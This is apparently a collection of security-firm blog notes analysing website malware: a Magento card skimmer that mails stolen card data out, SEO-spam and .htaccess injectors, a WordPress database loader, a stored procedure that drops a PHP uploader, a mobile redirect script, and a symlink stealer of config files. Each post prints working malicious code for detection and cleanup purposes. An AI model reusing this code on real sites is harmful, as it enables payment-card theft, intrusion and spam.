Image defacement hides content from search engines

Website defacement is still a big issue for various website owners. It directly impacts on your online presence / visibility and as a consequence, it may get your website flagged as “Hacked” by different search engines.


Recently, our team found an interesting case where the defacement page was not just an HTML page. This type of defacement used a different technique that made not only its detection harder, but also harder for a search engine to identify such pages as dangerous resources.

As many of you know, images are not applied to the metadata that the search engine find in order to index your website. If you don’t have a file monitoring system in place, you may never be able to identify the issue unless you visit the defaced resource yourself or receive a message from a visitor / client.

The following snippet is an example of the technique being used by attackers:

<html>    <body>       <?php $image_url='url/to/the/defaced/image'; ?>       <img src="<?php echo $image_url;?>">    </body><html>

Beware that attackers may use different techniques to deface a website. This one however,  is hidden from the search engines. An issue may only be detected if you are constantly monitoring your website or have a Website Firewall Protection to prevent this from happening.

If you think that you are victim of an attack and want your website checked, you can rely on the security analyst professionals here at Sucuri.

Geo location and Credit Card data been stolen...

Lately, we’ve uncovered and detailed lots of techniques being used against e-commerce platforms to steal sensitive information, mostly credit card and login credentials. With the holiday season approaching, e-commerce platforms become an even higher target due to increase in sales during the season.


In this incident response case, attackers used server resources, more specifically the mail() function to send all the sensitive data after assembling it in a very interesting way.

During our analysis, we identified the following malicious code added into the file ‘./app/code/core/Mage/Checkout/Model/Type/Onepage.php’:

$a = getenv('REMOTE_ADDR');$a = json_decode(file_get_contents("hxxp://www(.)geoplugin(.)net/json(.)gp?ip={$a}"));$datasend.="Visit = ".$a->geoplugin_city." | ".$a->geoplugin_region." | ".$a->geoplugin_countryName."n";$binCC = substr($data['cc_number'], 0, 6); $subject = "Verify Mag ".$data['cc_type']." ".$binCC." ".$a->geoplugin_countryName;

                $headers = "MIME-Version: 1.0n";$ar=array("0"=>"h","1"=>"i","2"=>"a","3"=>"@","4"=>"s","5"=>"t","6"=>"p","7"=>"o","8"=>".","9"=>"m","10"=>"e","11"=>"g","12"=>"c","13"=>"r","14"=>"l","15"=>"n","16"=>"y","17"=>"b","18"=>"k","19"=>"u","20"=>"d");$recipient=$ar["6"].$ar["7"].$ar["4"].$ar["5"].$ar["11"].$ar["0"].$ar["7"].$ar["4"].$ar["5"].$ar["1"].$ar["6"].$ar["3"].$ar["11"].$ar["9"].$ar["2"].$ar["1"].$ar["14"].$ar["8"].$ar["12"].$ar["7"].$ar["9"];$sendd=$ar["6"].$ar["7"].$ar["4"].$ar["5"].$ar["3"].$ar["11"].$ar["10"].$ar["5"].$ar["2"].$ar["20"].$ar["20"].$ar["13"].$ar["8"].$ar["15"].$ar["10"].$ar["5"];mail($recipient,$subject,$datasend,$headers);mail($sendd,$subject,$datasend,$headers);

The code fetches geo location information, such as IP Address, Country, Region, City and adds into the variable $datasend, along with sensitive credit card info.

In addition to that, attackers also declared a set of characters into an array ($ar) and then, carefully crafted the content assigned to the variables $recipient and $sendd - ‘postghostip(at)gmail.com’ and ‘post(at)getaddr.net’ respectively.

Once the string is crafted and attackers have all the information they need, they send it through a mail() function to the address previously mentioned.

These type of file modifications can be easily detected if you have in place a File Integrity Monitoring System. It’s also very important to check your http / ftp logs in order to detect the entry point and vulnerability that attackers may be taking advantage of. Last but not least, we also recommend deploying a Website Firewall solution to prevent future attacks.

Spam SEO Injector Circumventing Defense Techniques

I was assisting a client with their compromised website and came across a file called unsave.php that was primarily used to inject a rewrite into the .htaccess file so that the SEO spam payload of the file goday.php could be delivered to certain visitors sent to the directory hosting these files:

{
if ((filesize(".htaccess"))>100)
{
$out = fopen("../.htaccess", "w");
fwrite ($out, "RewriteEngine On
RewriteRule ^([A-Za-z0-9-]+).html$ goday.php?hl=$1 [L]");
fclose($out);
}


The added RewriteRule will cause the web server to serve the goday.php file whenever a visitor sends a request for a .html file in this directory.

The goday.php file will then validate the incoming request based on the IP address, HTTP referrer, and the HTTP user-agent. The file itself looks to target certain keywords in order to alter their ranking, so it’s only interested in serving the SEO spam data to visitors that match its requirements for a search engine:

if (!strpos($_SERVER["HTTP_USER_AGENT"], "Googlebot")===false 
|| !strpos($_SERVER["HTTP_USER_AGENT"], "crawler")===false
|| !strpos($_SERVER["HTTP_USER_AGENT"], "bot")===false
|| !strpos($_SERVER["HTTP_USER_AGENT"], "yahoo")===false
|| !strpos($_SERVER["HTTP_USER_AGENT"], "bot")===false)
{
if ((filesize(".htaccess"))>100)
{
$out = fopen("../.htaccess", "w");
fwrite ($out, "");
fclose($out);
}
echo $page;
}
else
{header("Location: http://coolin[.]in/for/77?d=$d&mykeys=$mykeys&da=0910");
exit;
}

If the requisites are met, then the goday.php script sends the $page variable which contains a webpage that is generated on the fly. They are able to do this on-the-fly SEO keyword spam by having multiple templates that are just web pages that do not have any text on them until the goday.php script adds the keywords. Here is an example of one of the templates before it has been filled with the SEO keywords:

If the requisites aren’t met, the goday.php script will instead redirect the visitor to their affiliate/pay-per-click URL which ends up sending them to a pornographic website through their affiliate ID. They try to monetize the request either through SEO spam keyword rank boosting or by sending the visitor through their affiliate URL.

One of the interesting functions included in the injector file, unsave.php, was the following:

There are WordPress and other CMS plugins that scan website files and when they find a file that is deemed malicious then the plugin will append the “.suspected” text to the end of the filename so the file cannot continue to be executed through the browser. The function (shown above) demonstrates how a malicious user could take this into consideration and incorporate functions within their malware to automatically rename .suspected files when they are found. Then it would be able to circumvent the renaming of the file by the security plugin and continue serving the payload within the goday.php file.

If you need any help while dealing with issues similar to this one, don't hesitate to contact us. 🙂

This note is related to our recent blog post about a web spam infection via zip file upload

Malware DB Injection called via theme file

Attackers use different techniques to distribute SPAM in a compromised website. Most of the time they choose the file structure to inject the malicious code as it’s a more practical approach. There are exceptions to this case though, and today we are going to talk a little bit more about it.


Recently, we found a well-hidden malware in the database and the only call to it was via the theme. A single line was added to execute the code:

add_action('init', create_function('', implode("n", unserialize(get_option("themes_config")))));

If you are unfamiliar with WordPress functions and structure, the get_option() function retrieves from the database an option value based on an option name (database_prefix_options table e.g.: wp_options).

The following SPAM injection was added into the database in the option name themes_config:

The combination of the single line added to the theme file and the content in the database allows the spam links to be displayed in the post, but only for specific user agents and conditions.

The malicious domain where the SPAM content was being loaded from is unavailable at the moment (hxxp://time-to-fuck-seo(.)org/lnk/bots.dat) but attackers could simply change the domain and still use this technique.

Cleaning the core WordPress files is sometimes not enough. As you can see, one line of code in the theme could call an entire malicious script injected to the database. Because of that, it’s very important to follow best practices and implement a file integrity monitoring system and a website firewall to prevent such issues from happening, or even reaching your website in the first place.

The Tale of a Malicious Stored Procedure

Nowadays, the most common issues with database injections are related to SPAM. Brian Krebs has a book called Spam Nation, that gives us a more in depth understanding of the economic aspects of such issues and how big they actually are. Thanks Ben Martin for letting me know about this book.

During an incident response of a database infection, we noticed an unusual technique - the malicious code had been added into a stored procedure.

DROP PROCEDURE IF EXISTS `p`;

CREATE PROCEDURE p()
BEGIN
 DROP TABLE IF EXISTS `foo`;
 CREATE TABLE `foo` (`line` longtext) ENGINE = InnoDB;
 INSERT INTO `foo` VALUES ("
"); SELECT * FROM foo LIMIT 0,30 INTO DUMPFILE '/home/username/public_html/wp-includes/class-wp-change.php'; DROP TABLE IF EXISTS `foo`; END;;

When the stored procedure was executed, a new table called "foo" was created with a malicious PHP Uploader content in it. Then, the malware was saved onto the file ‘wp-includes/class-wp-change.php’. Simple and elegant.

The problem here is that you can easily find and remove the file ‘class-wp-change.php’ as it’s located within a WordPress core directory. However, the stored procedure in the database would recreate the file every single time and that’s very easy to miss unless you have the habit of checking stored procedures on your database.

Most of the time, attackers will inject malware into different parts of your system to maintain access to the compromised website, even if the obvious backdoor is removed. That’s why simply removing those easy to spot malicious files may not solve the case.

If you need professional help on getting the issues fixed, we’d be happy to assist you!

Malware Targets Mobile Platforms

With the increase of mobile internet browsing, attackers have adapted their techniques to target such platforms and distribute SPAM & malware to these devices. Our free online scanner SiteCheck is tailored to emulate different Mobile User Agents and warn users about possible issues that may affect your computer when accessing a particular website.


During a recent Incident Response investigation of a website displaying pop-ups and redirecting users to malicious sites, we found the following code infecting the header.php file of the theme:

<script>if(document.cookie.indexOf("_mauthtoken")==-1){(function(a,b){if(a.indexOf("ooglebot")==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|emu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = "_mauthtoken=1; path=/;expires="+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,'hxxp://185(.)93(.)187(.)41/kt/JpNx9n');}</script>

This code targets specifically mobile devices and just redirects them to a series of malicious websites, starting from: hxxp://185(.)93(.)187(.)41/kt/JpNx9n and then, going to different sub-pages, such as hxxp://www(.)bestphoneapps(.)mobi (which is quite known to be related with malware spreading campaigns) and finally landing on hxxps://mobrevflwms(.)com, which is also known to be related to malware spreading campaigns.

Depending on the browser/device your visitors are using while accessing the website, they can be presented with a toolbar download page or redirected to a mobile app download page.

It is very important to be careful and understand the risks of having those inadvertent components added into their browser or mobile device. The consequences vary from allowing attackers to arbitrarily access, read, and interact with emails and backend interfaces; ads being injected into pages they were not supposed to; as well as giving sensitive information of their browsing activity and much more.

As website owners, we have to make sure our visitors have the best experience possible and won’t be at risk when accessing your website.

If you detected such redirects or suspect any unexpected behavior, we are here to help you get your website back on track.

Multiple UNIX users symbolic link injector

Recently we found a very interesting malware that injects symbolic links in each and every Linux/UNIX home folder. Once the website is infected, it uses the following code to avoid detection from search engine agents and can be executed only by the attackers:

if (!empty($_SERVER['HTTP_USER_AGENT'])) {    $bot = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");    if (preg_match('/' . implode('|', $bot) . '/i', $_SERVER['HTTP_USER_AGENT'])) {       header('HTTP/1.0 404 Not Found');       exit;    }}


The malicious code also performs other checks, such as verifying if the OS is Windows (as it may not work on that OS due to filesystem differences) and if the symlink function is enabled on the PHP engine:

if ($_POST["m"] && !$_POST["passwd"] == "") {              $check = @ini_get("disable_functions");       if (eregi("symlink", $check)) {           die("<font color=13B8E6>Symlink is Disbled</font>");       }

If the following conditions are met:

  • User Agent is different than search engines;
  • OS is Linux/UNIX based;
  • PHP engine has the symlink function enabled;

The malware injects another code into .htaccess file in order to change your DirectoryIndex to Sux.html, which usually redirects to a defacement page.

Moreover, the attacker also has the capability of sending different $_POST requests in order to try finding the location of the /etc/passwd file.

$etc_passwd = $_POST["passwd"];$etc_passwd = explode("", $etc_passwd);foreach ($etc_passwd as $passwd) {    $pawd = explode(":", $passwd);    $user = $pawd[0];

This technique is used because if the infected server is sitting in a shared environment and they have write permissions to those other directories, attackers can inject multiple symlinks in different users and get as many database files and sensitive data as they can:

@symlink('/home/' . $user . '/public_html/includes/configure.php', $user . '-shop.txt');@symlink('/home/' . $user . '/public_html/os/includes/configure.php', $user . '-shop-os.txt');@symlink('/home/' . $user . '/public_html/oscom/includes/configure.php', $user . '-oscom.txt');

If you don’t use symlinks, our recommendation would be disabling them altogether - this way the script is ineffective. Also check the /home directory on your hosting for different directories that are not known to you, plus for files and folders that are not part of your website.

If you want to be sure that your website is not infected, or if you need help cleaning it up, let us know.